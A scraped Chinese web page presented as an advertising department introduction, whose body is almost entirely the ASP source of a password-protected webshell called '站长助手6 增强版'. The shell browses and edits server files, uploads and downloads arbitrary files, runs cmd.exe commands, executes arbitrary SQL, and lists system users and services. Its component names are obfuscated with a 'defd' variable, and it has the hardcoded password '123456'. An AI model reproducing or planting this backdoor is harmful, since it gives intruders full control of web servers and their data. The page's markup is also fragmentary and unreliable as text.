|
|
|
|
| |
| |
| |
|
| 您现在的位置: 广告之窗 -- 广告部简介 |
|
|
| :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: |
|
 |
广告部简介 |
|
|
|
|
 |
| |
<%
server.scripttimeout=50000
response.buffer = true
on error resume next
applicationname = "站长助手6 增强版"
userpass = "123456" ’登陆密码
url = request.servervariables("url")
serverip = request.servervariables("local_addr")
action = request("action")
rootpath = server.mappath(".")
wwwroot = server.mappath("/")
folderpath = request("folderpath")
fname = request("fname")
backurl = ""
if session("webadmin")<>userpass then
if request.form("pass")<>"" then
if request.form("pass")=userpass then
session("webadmin")=userpass
response.redirect url
else
response.write"验证失败！"
end if
else
si="
欢迎使用asp站长助手
"
si=si&""
response.write si
end if
response.end
end if
sub showerr()
if err then
response.write"
" & err.description & "
"
err.clear:response.flush
end if
end sub
dim obt(13,2)
obt(0,0) = "sc"&defd&"rip"&defd&"ting"&defd&".f"&defd&"iles"&defd&"yste"&defd&"mobj"&defd&"ect"
obt(0,2) = "文件操作组件"
obt(1,0) = "w"&defd&"sc"&defd&"ri"&defd&"pt.s"&defd&"he"&defd&"ll"
obt(1,2) = "命令行执行组件"
obt(2,0) = "adox.catalog"
obt(2,2) = "access建库组件"
obt(3,0) = "jro.jetengine"
obt(3,2) = "access压缩组件"
obt(4,0) = "scrip"&defd&"ting"&defd&".d"&defd&"icti"&defd&"onary"
obt(4,2) = "数据流上传辅助组件"
obt(5,0) = "adodb.connection"
obt(5,2) = "数据库连接组件"
obt(6,0) = "ado"&defd&"d"&defd&"b"&defd&".s"&defd&"tre"&defd&"am"
obt(6,2) = "数据流上传组件"
obt(7,0) = "softartisans.fileup"
obt(7,2) = "sa-fileup 文件上传组件"
obt(8,0) = "lyfupload.uploadfile"
obt(8,2) = "刘云峰文件上传组件"
obt(9,0) = "persits.upload.1"
obt(9,2) = "aspupload 文件上传组件"
obt(10,0) = "jmail.smtpmail"
obt(10,2) = "jmail 邮件收发组件"
obt(11,0) = "cdonts.newmail"
obt(11,2) = "虚拟smtp发信组件"
obt(12,0) = "smtpmail.smtpmail.1"
obt(12,2) = "smtpmail发信组件"
obt(13,0) = "microsoft.xmlhttp"
obt(13,2) = "数据传输组件"
for i=0 to 13
set t=server.createobject(obt(i,0))
if -2147221005 <> err then
isobj=true
else
isobj=false
err.clear
end if
set t=nothing
obt(i,1)=isobj
next
function repath(s)
repath=replace(s,"\","\\")
end function
function rrepath(s)
rrepath=replace(s,"\\","\")
end function
if folderpath<>"" then
session("folderpath")=rrepath(folderpath)
end if
if session("folderpath")="" then
folderpath=rootpath
session("folderpath")=folderpath
end if
function mainform()
si=""
si=si&""
si=si&"| "
si=si&" | | "
si=si&" | "
si=si&""
si=si&""
si=si&" | "
response.write si
end function
function mainmenu()
si=""
si=si&" | "
si=si&"| "
si=si&"fso文件操作模块"
si=si&" | "
if not obt(0,1) then
si=si&" | "
else
set abc=new lbf:si=si&abc.showdriver():set abc=nothing
si=si&"| "
si=si&"c:\progra~1"
si=si&" | "
si=si&"| "
si=si&"c:\docume~1"
si=si&" | "
si=si&"| "
si=si&"站点根目录"
si=si&" | "
si=si&"| "
si=si&"本程序目录"
si=si&" | "
si=si&"| "
si=si&"新建目录"
si=si&" | "
si=si&"| "
si=si&"新建文本"
si=si&" | "
end if
response.write si:si=""
si=si&"| "
si=si&"文件上传模块"
si=si&" | "
si=si&"| "
si=si&"数据库操作模块"
si=si&" | "
si=si&"| "
si=si&"建立mdb文件"
si=si&" | "
si=si&"| "
si=si&"数据库操作"
si=si&" | "
si=si&"| "
si=si&"压缩mdb文件"
si=si&" | "
si=si&"| "
si=si&"命令行模块"
si=si&" | "
si=si&"| "
si=si&"系统服务列表"
si=si&" | "
si=si&"| "
si=si&"服务器信息"
si=si&" | "
si=si&"| "
si=si&"退出登录"
si=si&" | "
si=si&"| "
si=si&"桂林老兵站"
si=si&" | "
si=si&""
si=si&"
站长助手6 增强版
by lzhj qq:56824448"
si=si&" | "
si=si&" "
response.write si : si=""
end function
function course()
si="
"
si=si&"| 系统用户与服务 | "
on error resume next
for each obj in getobject("winnt://.")
err.clear
if obj.starttype="" then
si=si&""
si=si&"| "
si=si&obj.name
si=si&" | "
si=si&"系统用户(组)"
si=si&" | "
si0="| | "
end if
if obj.starttype=2 then lx="自动"
if obj.starttype=3 then lx="手动"
if obj.starttype=4 then lx="禁用"
if lcase(mid(obj.path,4,3))<>"win" and obj.starttype=2 then
si1=si1&"| "&obj.name&" | "&obj.displayname&" | | [启动类型:"&lx&"] "&obj.path&" | "
else
si2=si2&"| "&obj.name&" | "&obj.displayname&" | | [启动类型:"&lx&"] "&obj.path&" | "
end if
next
response.write si&si0&si1&si2&" "
end function
function serverinfo()
si="
"
si=si&"| 服务器组件信息 | "
si=si&"| 服务器名 | | "&request.servervariables("server_name")&" | "
si=si&""
si=si&"| 服务器时间 | | "&now&" | "
si=si&"| 服务器cpu数量 | | "&request.servervariables("number_of_processors")&" | "
si=si&"| 服务器操作系统 | | "&request.servervariables("os")&" | "
si=si&"| web服务器版本 | | "&request.servervariables("server_software")&" | "
for i=0 to 13
si=si&"| "&obt(i,0)&" | "&obt(i,1)&" | "&obt(i,2)&" | "
next
response.write si
end function
function downfile(path)
response.clear
set osm = createobject(obt(6,0))
osm.open
osm.type = 1
osm.loadfromfile path
sz=instrrev(path,"\")+1
response.addheader "content-disposition", "attachment; filename=" & mid(path,sz)
response.charset = "utf-8"
response.contenttype = "application/octet-stream"
response.binarywrite osm.read
response.flush
osm.close
set osm = nothing
end function
function htmlencode(s)
if not isnull(s) then
s = replace(s, ">", ">")
s = replace(s, "<", "<")
s = replace(s, chr(39), "'")
s = replace(s, chr(34), """)
s = replace(s, chr(20), " ")
htmlencode = s
end if
end function
function upfile()
if request("action2")="post" then
set u=new upc : set f=u.ua("localfile")
uname=u.form("topath")
if uname="" or f.filesize=0 then
si="
请输入上传的完全路径后选择一个文件上传!"
else
f.saveas uname
if err.number=0 then
si="
文件"&uname&"上传成功！"
end if
end if
set f=nothing:set u=nothing
si=si&backurl
response.write si
showerr()
response.end
end if
si="
"
response.write si
end function
function cmdshell()
if request("sp")<>"" then session("shellpath") = request("sp")
shellpath=session("shellpath")
if shellpath="" then shellpath = "cmd.exe"
if request("wscript")="yes" then
checked=" checked"
else
checked=""
end if
if request("cmd")<>"" then defcmd = request("cmd")
si=""
response.write si
end function
function createmdb(path)
si="
"
set c = createobject(obt(2,0))
c.create("provider=microsoft.jet.oledb.4.0;data source=" & path)
set c = nothing
if err.number=0 then
si = si & path & "建立成功!"
end if
si=si&backurl
response.write si
end function
function compactmdb(path)
if not obt(0,1) then
set c=createobject(obt(3,0))
c.compactdatabase "provider=microsoft.jet.oledb.4.0;data source="&path&",provider=microsoft.jet.oledb.4.0;data source=" &path
set c=nothing
else
set fso=createobject(obt(0,1))
if fso.fileexists(path) then
set c=createobject(obt(3,0))
c.compactdatabase "provider=microsoft.jet.oledb.4.0;data source="&path&",provider=microsoft.jet.oledb.4.0;data source=" &path&"_bak"
set c=nothing
fso.deletefile path
fso.movefile path&"_bak",path
else
si="
数据库"&path&"没有发现！"
err.number=1
end if
set fso=nothing
end if
if err.number=0 then
si="
数据库"&path&"压缩成功！"
end if
si=si&backurl
response.write si
end function
function dbmanager()
sqlstr=trim(request.form("sqlstr"))
dbstr=request.form("dbstr")
si=si&""
response.write si:si=""
if len(dbstr)>40 then
set conn=createobject(obt(5,0))
conn.open dbstr
set rs=conn.openschema(20)
si=si&"表
名 | "
rs.movefirst
do while not rs.eof
if rs("table_type")="table" then
tname=rs("table_name")
si=si&"[ del ]
"
si=si&""&tname&" | "
end if
rs.movenext
loop
set rs=nothing
si=si&"
"
response.write si:si=""
if len(sqlstr)>10 then
if lcase(left(sqlstr,6))="select" then
si=si&"执行语句："&sqlstr
set rs=createobject("adodb.recordset")
rs.open sqlstr,conn,1,1
fn=rs.fields.count
rc=rs.recordcount
rs.pagesize=20
count=rs.pagesize
pn=rs.pagecount
page=request("page")
if page<>"" then page=clng(page)
if page="" or page=0 then page=1
if page>pn then page=pn
if page>1 then rs.absolutepage=page
si=si&" | "
for n=0 to fn-1
set fld=rs.fields.item(n)
si=si&""&fld.name&" | "
set fld=nothing
next
si=si&" "
do while not(rs.eof or rs.bof) and count>0
count=count-1
bgcolor="#efefef"
si=si&"| x | "
for i=0 to fn-1
if bgcolor="#efefef" then:bgcolor="#f5f5f5":else:bgcolor="#efefef":end if
if rc=1 then
colinfo=htmlencode(rs(i))
else
colinfo=htmlencode(left(rs(i),50))
end if
si=si&""&colinfo&" | "
next
si=si&" "
rs.movenext
loop
response.write si:si=""
sqlstr=htmlencode(sqlstr)
si=si&"记录数："&rc&" 页码："&page&"/"&pn
if pn>1 then
si=si&" 首页 上一页 "
if page>8 then:sp=page-8:else:sp=1:end if
for i=sp to sp+8
if i>pn then exit for
if i=page then
si=si&i&" "
else
si=si&""&i&" "
end if
next
si=si&" 下一页 尾页"
end if
si=si&"
|
"
rs.close:set rs=nothing
response.write si:si=""
else
conn.execute(sqlstr)
si=si&"sql语句："&sqlstr
end if
response.write si:si=""
end if
conn.close
set conn=nothing
end if
end function
%>
<%
dim t1
class upc
dim d1,d2
public function form(f)
f=lcase(f)
if d1.exists(f) then:form=d1(f):else:form="":end if
end function
public function ua(f)
f=lcase(f)
if d2.exists(f) then:set ua=d2(f):else:set ua=new fif:end if
end function
private sub class_initialize
dim tda,tst,vbcrlf,tin,diend,t2,tlen,tfl,sfv,fstart,fend,dstart,dend,upname
set d1=createobject(obt(4,0))
if request.totalbytes<1 then exit sub
set t1 = createobject(obt(6,0))
t1.type = 1 : t1.mode =3 : t1.open
t1.write request.binaryread(request.totalbytes)
t1.position=0 : tda =t1.read : dstart = 1
dend = lenb(tda)
set d2=createobject(obt(4,0))
vbcrlf = chrb(13) & chrb(10)
set t2 = createobject(obt(6,0))
tst = midb(tda,1, instrb(dstart,tda,vbcrlf)-1)
tlen = lenb (tst)
dstart=dstart+tlen+1
while (dstart + 10) < dend
diend = instrb(dstart,tda,vbcrlf & vbcrlf)+3
t2.type = 1 : t2.mode =3 : t2.open
t1.position = dstart
t1.copyto t2,diend-dstart
t2.position = 0 : t2.type = 2 : t2.charset ="gb2312"
tin = t2.readtext : t2.close
dstart = instrb(diend,tda,tst)
fstart = instr(22,tin,"name=""",1)+6
fend = instr(fstart,tin,"""",1)
upname = lcase(mid (tin,fstart,fend-fstart))
if instr (45,tin,"filename=""",1) > 0 then
set tfl=new fif
fstart = instr(fend,tin,"filename=""",1)+10
fend = instr(fstart,tin,"""",1)
fstart = instr(fend,tin,"content-type: ",1)+14
fend = instr(fstart,tin,vbcr)
tfl.filestart =diend
tfl.filesize = dstart -diend -3
if not d2.exists(upname) then
d2.add upname,tfl
end if
else
t2.type =1 : t2.mode =3 : t2.open
t1.position = diend : t1.copyto t2,dstart-diend-3
t2.position = 0 : t2.type = 2
t2.charset ="gb2312"
sfv = t2.readtext
t2.close
if d1.exists(upname) then
d1(upname)=d1(upname)&", "&sfv
else
d1.add upname,sfv
end if
end if
dstart=dstart+tlen+1
wend
tda=""
set t2 =nothing
end sub
private sub class_terminate
if request.totalbytes>0 then
d1.removeall:d2.removeall
set d1=nothing:set d2=nothing
t1.close:set t1 =nothing
end if
end sub
end class
class fif
dim filesize,filestart
private sub class_initialize
filesize = 0
filestart= 0
end sub
public function saveas(f)
dim t3
saveas=true
if trim(f)="" or filestart=0 then exit function
set t3=createobject(obt(6,0))
t3.mode=3 : t3.type=1 : t3.open
t1.position=filestart
t1.copyto t3,filesize
t3.savetofile f,2
t3.close
set t3=nothing
saveas=false
end function
end class
class lbf
dim cf
private sub class_initialize
set cf=createobject(obt(0,0))
end sub
private sub class_terminate
set cf=nothing
end sub
function showdriver()
for each d in cf.drives
si=si&"| "
si=si&"本地磁盘 ("&d.driveletter&":)"
si=si&" | "
next
showdriver=si
end function
function showfile(path)
set fold=cf.getfolder(path)
i=0
si=""
for each f in fold.subfolders
si=si&"| "
si=si&" "&f.name&""
si=si&" | d"
si=si&" c"
si=si&" m"
i=i+1
if i mod 3 = 0 then si=si&" | "
next
si=si&" |
"
response.write si : si=""
for each l in fold.files
si=""
si=si&""
si=si&"| "
si=si&""&l.name&" | "
si=si&""&l.type&" | "
si=si&""&clng(l.size/1024)&"k | "
si=si&""&l.datelastmodified&" | "
si=si&"edit | "
si=si&"del | "
si=si&"copy | "
si=si&"move | "
si=si&" "
response.write si : si=""
next
set fold=nothing
end function
function delfile(path)
if cf.fileexists(path) then
cf.deletefile path
si="
文件 "&path&" 删除成功！"
si=si&backurl
response.write si
end if
end function
function editfile(path)
if request("action2")="post" then
set t=cf.createtextfile(path)
t.writeline request.form("content")
t.close
set t=nothing
si="
文件保存成功！"
si=si&backurl
response.write si
response.end
end if
if path<>"" then
set t=cf.opentextfile(path, 1, false)
txt=htmlencode(t.readall)
t.close
set t=nothing
else
path=session("folderpath")&"\newfile.asp":txt="新建文件"
end if
si=" | | | |
